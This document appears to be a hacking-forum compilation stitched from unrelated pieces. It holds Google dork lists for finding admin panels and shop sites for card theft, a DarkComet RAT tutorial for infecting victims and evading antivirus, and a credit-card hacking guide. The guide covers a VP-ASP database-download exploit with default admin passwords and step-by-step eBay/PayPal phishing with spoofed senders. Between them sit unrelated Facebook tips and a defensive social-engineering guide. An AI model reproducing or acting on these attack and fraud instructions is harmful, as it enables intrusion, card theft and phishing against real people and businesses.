GOOGLE DORKS FOR ADMIN PANELS

GOOGLE DORKS FOR ADMIN PANELS

• "inurl:admin/user.asp"
• "inurl:admin/addpage.php"
• "inurl:admin/gallery.asp"
• "inurl:admin/image.asp"
• "inurl:admin/adminuser.asp"
• "inurl:admin/productadd.asp"
• "inurl:admin/addadmin.asp"
• "inurl:admin/add_admin.asp"
• "inurl:admin/add_admin.php"
• "inurl:admin/addnews.asp"
• "inurl:admin/addpost"
• "inurl"inurl:admin/addforum.???"
• "inurl:admin/addgame.???"
• "inurl:admin/addblog.????"
"inurl:admin/admin_detail.php"
"inurl:admin/admin_area.php"
"inurl:admin/product_add.php"
"inurl:admin/additem.php"
"inurl:admin/addstore.php"
"inurl:admin/add_Products.???"
"inurl:admin/showbook.???"
"inurl:admin/selectitem.???"
"allinurl:admin/addfile.???"
"inurl:admin/addarticle.asp"
"inurl:admin/addfile.asp"
"inurl:admin/upload.php"
"inurl:admin/upload.asp"
"inurl:admin/addstory.php"
"inurl:admin/addshow.php"
"inurl:admin/addmember.asp"
"inurl:admin/addinfo.asp"
"inurl:admin/addcat.asp"
"inurl:admin/cp.asp"
"inurl:admin/productshow.asp"
"inurl:admin/addjob.asp"
"inurl:admin/addjob.???"
"inurl:admin/addpic.???"
"inurl:admin/viewproduct.???"
"inurl:admin/addaccount.php"
"inurl:admin/manage.php"
"inurl:admin/addcontact.???"
"inurl:admin/viewmanager.???"
"inurl:admin/addschool.???"
"inurl:admin/addproject.???"
"inurl:admin/addsale.???"
"inurl:admin/addcompany.???"
"inurl:admin/payment.???"
"inurl:user/emp.???"
"inurl:admin/addmovie.???"
"inurl:admin/addpassword.???"
"inurl:admin/addemployee.???"
"inurl:admin/addcat.???"
"inurl:admin/admin.???"
"inurl:admin/admincp.???"
"inurl:admin/settings.???"
"inurl:admin/addstate.???"
"inurl:admin/addcountry.???"
"inurl:admin/addmedia.???"
"inurl:admin/addcode.???"
"inurl:admin/addlinks.???"
"inurl:admin/addcity.???"

Top 10 Facebook Tricks You Must Know

Do you surf facebook for hours? And would like to have some additional functions to your tiny world of friends? Well, if yes then you are at the right place. In our today’s article we would be covering few of the best tricks that will make your facebook lot more efficient and joyous. So, let’s then get started:
 
1. How to type colorful text for your status or chat
Want to impress your friends with something out of the box? If yes then follow our next steps. For typing any form of text in colorful way just paste following script for each letter: 

[[107015582669715]] = A [[116067591741123]] = B [[115602405121532]] = C [[112542438763744]] = D [[115430438474268]] = E [[109225112442557]] = F [[111532845537326]] = G [[111356865552629]] = H [[109294689102123]] = I [[126362660720793]] = J [[116651741681944]] = K [[115807951764667]] = L [[106596672714242]] = M [[108634132504932]] = N [[116564658357124]] = O [[111669128857397]] = P [[107061805996548]] = Q [[106699962703083]] = R [[115927268419031]] = S [[112669162092780]] = T [[108983579135532]] = U [[107023745999320]] = V [[106678406038354]] = W [[116740548336581]] = X [[112416755444217]] = Y [[165724910215]] = Z

2. Creating your own chat 
Want to chat with your friend in a different way? Well, you can if you want to. We have a trick by which you talk via pictures. You don’t need to upload them need to type them. For instance you want to show something related to mr.zuck, one of your friends, so, can show his profile pictures and type something with it. Just type the username in this way [[Zuck]] and profile picture would be sent in the chat.

3. How to upload your pictures from flickr to Facebook 
If you have some albums on flickr and want to share them over facebook then your problem would be solved now. You should download flikr2facebook, for this transfer this program will automatically transfer all the albums or photos you want to transfer.

 4. Scheduling facebook messages

If you are using more than one messengers at a time or want to schedule your facebook messages then you should click here, you would here find a program for scheduling all you message at a single time. It’s fantastic software for people who want to deal people talking from more than one messenger.

 

5. How to hide your facebook status from the friends you want
For hiding your status you need to need to change your privacy settings for this you will first go to privacy setting and from these go to profile tab. There you should go for status update setting there a page will open and you can under customize you can name the person you want to hide your status from.

 

6. Removing unwanted ads on Facebook
If you want to get rid of ridiculous advertisement on facebook, then you should try Facebook cleaner it removes all the unwanted advertisements which makes your browser slow and makes the browsing faster too.



7. Access your facebook account from your desktop 
Don’t have time to visit facebook regularly now? Now get your facebook chatting on your desktop simply download Gabtastik and you can chat from your desktop with your friends.

 

8. How to create Quiz on Facebook
Have any question in your mind? Want to know it from your friend via quiz? Then there is no better place then facebook by going to LOLapps you can get a free quiz generator and have fun with your facebook friends.


9. How to display offline status to some of your friends

Don’t want to talk to some of your friends while remaining online? Well, you can do it now, it simple to do……….. Just go to your chat box and find a star there click it and go to advanced settings here you in the first write the profile names of the people whom you want to display offline status. As you write the names you would be shown offline in there chat box and originally you would remain online.
10. How to set your status remaining online on firefox
Using multiple social network and don’t have time to set the status regularly then use FireStatus, you can easily set your status with one button click to the leading social media sites. This will bring more efficiency and joy to your browsing experience.






Source:Hackread

Simple Tips to manage and Prevent Social Engineering Attacks

The web is an interconnected maze consisting of people, organization and computers. The easiest way to hack into such a system is to find the weakest link between them. Usually, the human link is always the weakest and therefore the easiest route to hack into any organization computer network.
Consequently, modern day hackers have shifted from hacking the organization’s systems as their primary target, to hacking the Human Operating System. Hacking an individual requires a different set of tools and a change of tactic from brute force to relying on social engineering tactics to manipulate the different human instincts to the hacker’s advantage.

What is Social Engineering?

Social engineering is use of soft non-technical skills to gain unauthorized access to private computer networks. Social engineers rely on human interactions to lure people into giving out crucial confidential information that would compromise their Internet security. Hackers use social engineering for varied reasons but the end game is always to defraud you financially by manipulating your human instinct to trust rather than using brute force to break into your system.
Social engineering is not a new concept but rather old-age con games applied in a web perspective. The information sought by Social engineers may vary from passwords, bank information, System configuration details and so on. But regardless of the information sought, the objective is always to take control of your system and make a certain gain at the end.
Social engineering takes different form and shapes. It could be as simple as someone calling you pretending to be your bank customer care agent and requesting your banking details. It could also be someone posing as a new employee who need log in assistance or your colleague stealing your login credentials through shoulder surfing.
Regardless of the form and shape, the success of any social engineering attack largely depend on human weakness in critically analyzing every situation. In reality, internet security is all about knowing when and who to trust with your confidential information at any given time. Alertness and avoiding to take every situation at face value will take you a long way in preventing social Engineering Attacks.

Which are the most common Social engineering Attacks?

Social engineering attacks are propagated in different forms and through various attack vectors. It is a rapidly evolving art that keeps on being perfected every now and then. However, some of the most common social engineering pitfalls include the following.

• Bogus Email from a Friend; It is a common social engineering tactic used to extract information from a large network of people. In this case criminals only infiltrate one email account and use the contact list to send spyware ridden email to other on address book. Again, one is easily fooled to trust an email attachment or a link sent supposedly by a known friend.

In most cases, the attacker using a hacked account sends you an email address claiming that your ‘friend’ is stuck in a foreign country after being mugged. They request money for a return ticket and promise to refund the money once they are back. Usually, the email has instruction on how to send the money to your ‘stranded friend’ abroad.

• Phishing Attacks. It’s an old age cyber threat that applies social engineering tactics to harvest confidential details from victims. Most phishing attacks are propagate through bogus emails allegedly form trusted service providers such as banks, Schools, Software companies or government security agencies. E.g. FBI

Normally, online fraudster sends email posing as one of your trusted service provider. They request you to urgently update your account details or upgrade your current software through given links. Most phishing emails require you to do something urgently or risk some consequences. Clicking on the embedded links directs you to spoofed websites designed to steal your login credentials.
Another common trick used by phishing masters is to send you an email claiming that you’ve won a lottery or certain promotion goodies. You are required to give your banking details in order receive your lotter winning. In other cases the scammer pose as the FBI saying they have recovered your ‘stolen money’ and therefore requesting to send you bank details to get your money back.

• Baiting Schemes. In these types of social engineering schemes, the attacker takes advantage of a highly demanded product such a new movie or music video to harvest private information from unsuspecting people. It is very common in peer-top-peering sharing network such Bit torrent.

Another popular tactic is to undervalue hot product by giving one day 85% discount. Such schemes may appear in legitimate auction sites such as eBay which makes it easy for people to fall for the bait. Usually, the product on offer is non-existent and vendor could be using a hacked eBay account to obtain your banking details.

• Unsolicited Tech Support– In some instances, criminals pose as tech support teams from popular companies such as Microsoft, purporting to respond to ‘your request’ to resolve a tech problem. Although you never requested for help, you could be tempted to take advantage of a free service because you could be having a tech problem with your Microsoft product in the first place.

Responding to the emails initiates an interaction with the criminal who may further request for more specific details about your system in order to help you out. In some cases the criminals may request you to log on to “their company systems” or simply request for root access to your system. Sometimes they may give you bogus command to run on your system. Such commands are only intended to give the attacker greater access to your computer system.

How to Avoid Social Engineering Attacks

• Be wary of emails, instant messages and phone calls for unsolicited people such as service providers. Verify the source of message before giving out any information.
• Go slow and pay keen attention to fine details in emails and messages. Never let the urgency in attacker’s message cloud your judgment.
• Educate yourself. Information is the most powerful tool in preventing social engineering attacks. Research facts on how to identify, and ward off online criminals.
• Never click on embedded links in emails from unknown senders. If necessary use the search engine to search for suggested website or manually enter the website URL.
• Never download email attachment from unknown senders. If necessary open the attachment in protected view which is enabled by default in many operating systems.
• Reject requests for online tech support from strangers no matter how legitimate they may appear.
• Secure your computer space with a strong firewall, up to date antivirus software and set your spam filters too high.
• Patch up software and operating systems for Zero day vulnerabilities. Follow up on patch releases form your software providers and patch-up as soon as humanly possible.
• Pay attention to website URL. Sometimes online fraudsters make slight changes to URLs in order to direct traffic to their own spoofed sites.
• Avoid being greedy on the web. If you never participated in a lottery, it goes without saying that you can never be the winner. If you never lost money, why would you accept a refund from the FBI?

What Next for Social Engineering Victims

Due to the soft nature of social engineering attacks, most victims don’t know they’ve been hacked and it may take months to identify a security breach. However, in case you suspect that you’ve been a victim of social engineering, the first thing is to do a password workaround.
Create new strong password for all your accounts. Ensure that your new password cannot be linked to you or your family because the attackers probably know way too much about you and your family. Secondly, contact your bank, and carefully review your financial statements. Lastly, consider reporting the incident to law enforcement agencies to avoid liability in cases of identity theft and impersonation in criminal activities.
In conclusion, Social engineering attacks are old age con game that get better and smarter with time. Hacker will continually use them so long they continue to yield handsome returns year in year out. Preventing Social engineering attacks require knowing when and who to trust on the web. Critically analyze each and every situation before giving out any incriminating information. More importantly, avoid being greedy on the web. Always think twice when the deal is too good!

[Latest] Carding Dorks

inurl:".php?cat="+intext:"Paypal"+site:UK
inurl:".php?cat="+intext:"/Buy Now/"+site:.net
inurl:".php?cid="+intext:"online+betting"

inurl:".php?id=" intext:"View cart"
inurl:".php?id=" intext:"Buy Now"
inurl:".php?id=" intext:"add to cart"
inurl:".php?id=" intext:"shopping"
inurl:".php?id=" intext:"boutique"
inurl:".php?id=" intext:"/store/"
inurl:".php?id=" intext:"/shop/"
inurl:".php?id=" intext:"toys"

inurl:".php?cid="
inurl:".php?cid=" intext:"shopping"
inurl:".php?cid=" intext:"add to cart"
inurl:".php?cid=" intext:"Buy Now"
inurl:".php?cid=" intext:"View cart"
inurl:".php?cid=" intext:"boutique"
inurl:".php?cid=" intext:"/store/"
inurl:".php?cid=" intext:"/shop/"
inurl:".php?cid=" intext:"Toys"

inurl:".php?cat="
inurl:".php?cat=" intext:"shopping"
inurl:".php?cat=" intext:"add to cart"
inurl:".php?cat=" intext:"Buy Now"
inurl:".php?cat=" intext:"View cart"
inurl:".php?cat=" intext:"boutique"
inurl:".php?cat=" intext:"/store/"
inurl:".php?cat=" intext:"/shop/"
inurl:".php?cat=" intext:"Toys"

inurl:".php?catid="
inurl:".php?catid=" intext:"View cart"
inurl:".php?catid=" intext:"Buy Now"
inurl:".php?catid=" intext:"add to cart"
inurl:".php?catid=" intext:"shopping"
inurl:".php?catid=" intext:"boutique"
inurl:".php?catid=" intext:"/store/"
inurl:".php?catid=" intext:"/shop/"
inurl:".php?catid=" intext:"Toys"

Setup DarkComet Full Tutorial + Port Forwarding Solution

• How Can You Hack A Computer ?
• What is DNS ? And Its DNS Use In RAT ( Remote Administration Tool ) 
• What Is UNPN  ?
• How to Setup UNPN for RATS ?
• How To Setup DarkComet ?
• How to Port Forward TCP/UDP ?
• Setup Rat Without Port forwarding  
• List of the Top Ten Rats

Before Starting Please note that this tutorial is only for educational purpose i am not responsible for any of your act done after reading this tutorial 

Many Peoples Now a days were requesting me to write one article on how could they setup a RAT ( Remote Administration Tool ) which is used to remotely control the computer,s or in simple words to hack the computers.

         To setup Rat You Must have the basic knowledge of some important things which we will discuss below and many peoples on the internet are searching for how to setup RAT but they are confused of different methods which create,s a nexus and they fail to setup their RAT server but after reading this article i guarantee you that you will be able to setup you rat server.

  1. How Can You Hack A Computer ?
Well Everyone ask this Question and to hack a computer there are many ways of hacking computer by exploiting it and one of the most famous way to hack the computer used by many hackers is to execute the RAT Server in the victim,s computer , once you have executed the server you will be able to control his computer from A to Z mean everything.

 2. What is DNS ? And Use of DNS in RAT ?

DNS Stands for Domain Name Service and we use DNS in our RAT to make our server long lasting even forever and With the help of DNS we can access our slave,s computer for long time untill the DNS wont expire.

        

       DNS ( Domain Name Server ) plays a middle man role between your Ip Address and The Victim,s Ip Address to transfer the Data And if we use our ip address in the RAT server the RAT server will work and we will be able to hack the pc of victim but as we know that the Ip Address changes with time so when our ip address will be changed we will lose our all of slaves so this is the reason we use DNS because when slave,s computer will send the data like pictures or anything to us it will first send the data to DNS domain name sever and after DNS will verify the our latest Ip Address and after verifying the Ip Address it will send the data to us via our IP.

To make it easy for you i have prepared a drawing for you so you can understand it quiet easily check it.

In this Picture you can see that DNS is playing a middle man role and it only updates our ip address so even if our ip changes with time we have no worries to lose our slaves.

How can you get a DNS service ? 

 You can get a free DNS service and from www.noip.com 

What Is Port Forwarding ? And Its Use in RAT

  Port is a protocol which is used to transfer data from one Ip Address to Another Ip Address and there are two types of Ports which are mentioned below.

• TCP
• UDP

   TCP and UDP are two types of Ports which are the backbone to setup your RAT server and we will have to forward both TCP and UDP both of the same number on our computer and also on our router , while many peoples do one big mistake that they only forward TCP/UDP Port on their computer or only on their router so please keep in mind that you have to forward the both TCP/UDP port with same number on your router and also as well as on your computer.

What If You cant Forward the Port ? To Setup RAT 

 If You Cant forward the port to setup RAT due to some reasons then there is one more option lefted for you which is like a wildcard , Yes i will show you how to setup RAT using UNPN function so you can setup Rat without port forwarding.

What is UNPN ? And its Key Role In RAT 

 Universal Plug and Play is a set of networking protocols that permits networked devices to send and receive data on any port which is being used and called by UNPN. As i mentioned that many peoples are having problem in port forwarding so today i will share two methods of setting up rat one with port forwarding and one without port forwarding and both work,s well for me.

Now we have learned almost every basic thing necessary to setup a Rat Server so lets get started.

TUTORIAL : - 

First Download darkcomet from here " Click here to download " and after to forward your port also download auto port forwarding tool so click here " click here to download auto port forwarding tool  " 

To Get Started you should download two things one is RAT ( Remote Administration Tool ) and second is NO-IP Client. ( No-Ip) Client will automatically update our ip to the DNS 

For this tutorial i would be using the famous and the most stable RAT Tool " Dark Comet V 5.3 " and i am not providing the link to download so in future you may blame on me for the share of virus so Search on Google to download " Dark-Comet 5.3 ". It is the most stable and working version.

NO-IP Setup 

• Goto www.noip.com click on Sign Up 
• Fill Up the Form and chose free Dns 

Step 1  ( Port Forwarding ) 

  

1. Open CMD and type

  ipconfig

After this  you will find the Default GateWay IP address so note down or copy it

 Note:- Every Router has its different gateway theme 

2. Open Web-Browser and type the IP Address in the URL Address BAR and Login GateWay Will Appear.

3. Login to the Router 

Default User and Password,s are 

• user : admin
• pass : admin
• user  : admin
• pass  : admin123  ( If you fail to login try Googling your router,s default user pass ) or contact the admin

4. After Login find the place to forward the ports like in my router the path is Networking > Forwarding 

5. After Finding the Port Forwarding Section write down your IP V 4 : IP Address which you can also find by typing in cmd " ipconfig "  

• Write the IP Address in Servers IP BOX
• Write 1122 port number in begin and end box and select tcp/udp or if you have only one choice then select TCP and after adding the TCP add UDP in the same way.
• Click Save 

After Forwarding the TCP/UDP port from the Router Now Open DarkComet 

• Click on Socket TAB

• Right Click on Socke Handle Boxes and click on Add Port To Listen And Write down " 1122 " port in the box.

• After Writing the Port Click on Listen and it will start listening
• Now Goto www.canyouseeme.org 

• If you get the Success in Green it mean you have done it and port is forwarded and now there are 100% chances that your RAT will work. and if you get Error in RED sign saying " Error: I could not see your service on....." Then you have done somthing wrong in forwarding your port on Router. So try to search on Google That " How TO Port Forward on 'your router name'  " 
• Note that If you are still getting that error please read furthure below we can do one more thing as we can setup rat using UNPN function so please have some patience and move to the UNPN. 

UNPN ( Setup Without Port forwarding ) 

Note :- If you have sucessfully forwarded your port please move to step 2 and leave it 

 Many Routers are enabled with UNPN function but try to check that UNPN is enabled on your router by logging in and checking in the forwarding or networking section.

• You Must Have Utorrent So download it - Click here 
• Open Dark-Comet and click on socket 

•  Now Right Click below the Socket Handle and A box will open so write down 1122 port in that box

• Note: DO Not Close DarkComet leave it as it is 
• Now open Utorrent and click on Option > Preferences 
• Now In This write down the port 1122 in a box near random ports and click on OK 

• After Clicking OK you have done it now Port is forwarded using UNPN so check it by entering your port inwww.canyouseeme.org 

The Myth Or Logic Behind that trick 

 STEP 2 ( Creation of Server ) 

  

•  To create the server please click on DarkComet-Rat to open Options  
• After Click on Server Module And then click on Minimalist.

• Now  A box will appear and you have to type your details in it.

1.  In Stub Id write your server name .
2. In IP/DNS write you DNS Address which you created while sign up on www.noip.com.
3. In Port write down the same port you forwarded " 1122 " .
4. Click on Normal and Chose the path where to save the server and click save.

Step 4 ( Setting UP No-Ip DNS Client ) 

• Download the NO-IP client by clicking here ( or goto noip.com and click on download ) 
• Now After Downloading Install it and Open it 
• If you cant find it please search in start menu " DUC " you will get it 

• Click on Edit Hosts 

• Chose Your Hosts by click on check box and click on save 

Now Click on Refresh Now and you will see 3 green signals and its a good symbol keep in mind that before starting DarkComet Please Refresh it once because it will update your ip address in your slaves so you can access them and also if you will not refresh your no-ip in 60 days they will delete your account so refresh your noip daily.

Now send the server which you created to any of your victim which you want to hack and after he executes that server on his/her Computer then he will appear on your DarkComet Module and you can control his pc for a long time.

Note that do not try to test the server on your own computer because it will not work on your own computer so try to test it on any,ones computer and the victim must not have Anti Virus because Dark comet is detected by almost every anti Virus so you will have to encrypt your server to make it Undetectable.

Tutorial Hacking Credit Card

Hi Cyberworlds member. This is my first serious "black hat hacking" post of credit cards hacking. Here will be explained all methods used to hack credit cards and bank accounts with lots of $$ it. Now I'm sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true (lol, hope it doesn't sound like a commercial).

This tutorial is divided in two parts.

1. Introduction into Credit Cards
2. Credit card Hacking

Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:

• Debit Card
• Credit Card

1. Debit means u have a sum of amount in it and u can use them.
2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :

• First name
• Last name
• Address
• City
• State
• Zip
• Country
• Phone
• CC number
• Expiry
• CVV2 ( this is 3digit security code on backside after signature panel )

If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.

Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.
Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.
You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:

• Credit Card Scams ( usually used for earning money , some times for shopping )
• Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )

1. Shopadmin Hacking 

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.

Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart
Version: 5.00

How to find VP-ASP 5.00 sites?

Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00
2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp
The exploit is: diag_dbtest.asp
Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:

• xDatabase
• shopping140
• xDblocation
• resx
• xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r

Example:

The most important thing here is xDatabase
xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:
xDblocation
resx
the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

If u see the error message you have to try this :
****://***.victim.com/shop/shopping500.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.
Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:
Username: admin
password: admin
OR
Username: vpasp
password: vpasp


2. Hacking Through Scams

This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

What is eBay.com?

Its a shopping site world wide which is used by many of billion people which use their credit cards on ebay. What you do make a similar page same as eBay and upload it on some hosting which don't have any law restrictions, try to find hosting in Europe they will make your scam up for long time, and email the users of eBay.

How to get the emails of their users?

Go to google.com and type "Email Harvestor" or any Email Spider and search for eBay Buyers and eBay Sellers and u will get long list. That list is not accurate but out of 1000 atleast 1 email would be valid. Atleast you will get some time.

Well u create a clone page of ebay, and mail the list u create from spider with message, like "Your account has been hacked" or any reason that looks professional, and ask them to visit the link below and enter your info billing, and the scam page have programming when they enter their info it comes directly to your email.
In the form page u have PIN required so u also get the PIN number through which u can cash through ATM ..

Now if u run ebay scam or paypal scam, its up to your luck who's your victim. A client of bank of america or of citibank or of region, its about luck, maybe u get cashable, may be u don't its just luck, nothing else.

Search on google to download a scam site and study it !

After you create your scam site, just find some email harvestor or spider from internet (download good one at Bulk Email Software Superstore - Email Marketing Internet Advertising) and create a good email list.

And you need to find a mailer (mass sending mailer) which send mass - emails to all emails with the message of updating their account on ur scam page ). In from to, use emaileBay@reply3.ebay.com and in subject use : eBay - Update Your eBay Account and in Name use eBay

Some Instructions:

1. Make sure your hosting remains up or the link in the email u will send, and when your victim emails visit it, it will show page cannot be displayed, and your plan will be failed.
2. Hardest point is to find hosting which remains up in scam. even i don't find it easily, its very very hard part.
3. Maybe u have contacts with someone who own hosting company and co locations or dedicated he can hide your scam in some of dedicated without restrictions.
4. Finding a good email list (good means = actually users)
5. Your mass mailing software land the emails in inbox of users.